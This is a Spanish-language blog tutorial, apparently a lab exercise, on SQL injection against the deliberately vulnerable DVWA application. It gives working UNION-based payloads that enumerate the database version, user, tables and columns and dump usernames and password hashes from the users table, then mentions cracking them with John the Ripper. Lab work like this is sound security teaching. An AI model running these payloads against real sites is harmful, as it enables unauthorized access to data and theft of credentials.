SQL INJECTION
Abrimos el archivo descargado con la virtual box, la iniciamos y empezamos
Ahora, escribimos esta ip en el navegador y obtenemos el siguiente resultado:
usuario: admin
contraseña: password
y damos click en login
Bien, después de realizar la autenticación, obtendremos lo siguiente
Posteriormente a la explicación, configuramos la seguridad del servidor en modo débil para empezar a hacer nuestras pruebas
y damos click en submit.
Posteriormente seleccionamos "SQL Injection" en el panel de la izquierda
Inyecciones básicas
Vamos a empezar simulando un consulta, para esto, escribimos el número 1 en el campo en blanco (input) y damos click en submit. También lo intentaremos con el número 2 y el número 3, sin embargo se puede seguir intentando hasta que no obtengamos mas resultados…
CON EL 1
CON EL 2
CON EL 3
Notemos que al darle click en View Source obtenemos la consulta de lo que estamos trayendo a pantalla
Bueno, ahora haremos otro tipo de consulta:
tipeamos %' or '0'='0 y obtendremos la consulta de todos los registro de la tabla
Ahora vamos a obtener la versión de la base de datos con la siguiente línea
%' or 0=0 union select null, version() # y damos click en submit
%' or 0=0 union select null, version() # y damos click en submit
Como se puede observar, la versión de la base de datos que estamos utilizando es la 5.5.44
Ahora vamos a averiguar por medio de inyección el nombre de usuario de la base de datos con la siguiente línea
%' or 0=0 union select null, user() # y damos click en submit con lo que obtendremos lo siguiente
nombre de usuario de la base de datos que ejecuta o realiza las interacciones con ésta: dvwa.
De la misma forma obtendremos el nombre la base de datos con la línea
%' or 0=0 union select null, database() # y click en submit
Nombre de la base de datos = dvwa
De la misma forma obtendremos los datos de:
Los esquemas de las tablas de usuario(Los esquemas de usuario tienen la información general de la base de datos)
línea
%' and 1=0 union select null, table_name from information_schema.tables #
Obtener tablas de determinado usuario encontrado anteriormente
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
donde user es el nombre del usuario
Ahora vamos a mostrar los campos que tiene la tabla que deseamos, que en este caso es la tabla resaltada anteriormente (tabla users)
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
donde users es el nombre de la tabla
Ahora vamos a visualizar la información que tiene cada usuario en su registro en la tabla users y esquema information_schema
línea: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
donde first_name, last_name, user, password son los campos hallados anteriormente y user es el nombre de la tabla.
Ya tenemos las credenciales, sin embargo la contraseña esta cifrada, por lo que debemos usar algo como Jhon the ripper para encontrarla. En caso de querer hacerlo seguir este link
http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/
No hay comentarios:
Publicar un comentario